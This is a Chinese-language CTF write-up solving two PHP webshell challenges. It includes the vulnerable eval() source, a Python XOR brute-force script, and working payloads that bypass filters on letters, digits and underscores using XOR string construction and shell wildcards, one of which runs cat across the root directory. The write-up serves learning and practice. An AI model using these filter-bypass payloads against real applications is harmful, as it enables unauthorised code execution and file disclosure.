此文檔持續(xù)更新中。
yi_ge_webshell
考點:構造不含字母、數(shù)字和下劃線的WebShell,字符串的異或操作
代碼如下:
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
根據(jù)hint,是要讓我們執(zhí)行getFlag()函數(shù),也就是自己構造出來提交上去,用@eval()執(zhí)行。
一開始以為是要繞過preg_match函數(shù)的匹配,但是試了幾種常用的方法發(fā)現(xiàn)都沒有用(構造數(shù)組發(fā)現(xiàn)不執(zhí)行,用最大回溯爆掉又會受到strlen的長度限制而爆不掉)。
后來想了想,這個題應該是要通過構造不含字母和數(shù)字的payload來繞過preg_match的匹配,因為以前看到過類似的操作。
在bing上搜了一下發(fā)現(xiàn)果然有構造不含字母和數(shù)字的webshell的方法,這種方法的核心就是字符串的異或。
參考文檔:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
比如,以下這條PHP語句的執(zhí)行結果為getFlag:
echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");
也可以寫成這樣,執(zhí)行結果相同:
echo "@@^|@@@" ^ "'%*:,!'";
寫個腳本爆破掉字符的異或,一個一個試實在是太累了:
chr1 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
根據(jù)爆破的結果拼出剛才提到的異或字符串,也就是"@@^|@@@" ^ "'%*:,!'"。
這里有一個問題,過濾了字母、數(shù)字和下劃線之后怎么起變量名?忽然想到Java可以用漢字作為變量名(因為Java采用的是Unicode字符集,所以用中文作為變量名不會出錯),那PHP說不定也可以,于是在本地試了一下發(fā)現(xiàn)居然沒報錯。
構造Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
成功得到flag。
另:那三篇文章的方法是構造_GET或者_POST再利用${}和@eval()執(zhí)行之后往里傳參,個人感覺沒有這種直接構造字符串然后執(zhí)行的方法簡單。
另2:針對這道題寫了篇總結,發(fā)在公眾號里了:鏈接在這
ling_yi_ge_webshell
考察使用通配符繞過過濾
把上次那個爆破的腳本改了一下(發(fā)現(xiàn)上次沒加“@”):
chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
這次的代碼過濾了$和_,也就是說沒辦法用$了,需要其他辦法執(zhí)行。
雖然拼出了“system('cat /flag.php')”,但是提示太長了,而且怎么執(zhí)行也是個問題。
在一個大佬的幫助下找到了正確的做法:通配符。
詳細可以參考這兩篇文章:
https://www.anquanke.com/post/id/160582?from=singlemessage#h2-2
https://cloud.tencent.com/developer/article/1164601
根據(jù)Linux通配符規(guī)則,問號“?”匹配任意單個字符,于是/???/??? 可以匹配到 /bin/cat

既然過濾了所有字母和數(shù)字,flag又在根目錄下,所以可以用/*匹配到根目錄下所有文件。
于是,連起來就是/???/??? /*
而要讓代碼執(zhí)行,必須要放進PHP標記里。結合第一篇參考文章,可以構造出以下的payload:?code=?><?=/???/??? /*?>
執(zhí)行后會得到一大堆亂七八糟的東西(因為這是把根目錄下的東西全都讀出來了),搜索SKCTF或者是flag就可以找到flag。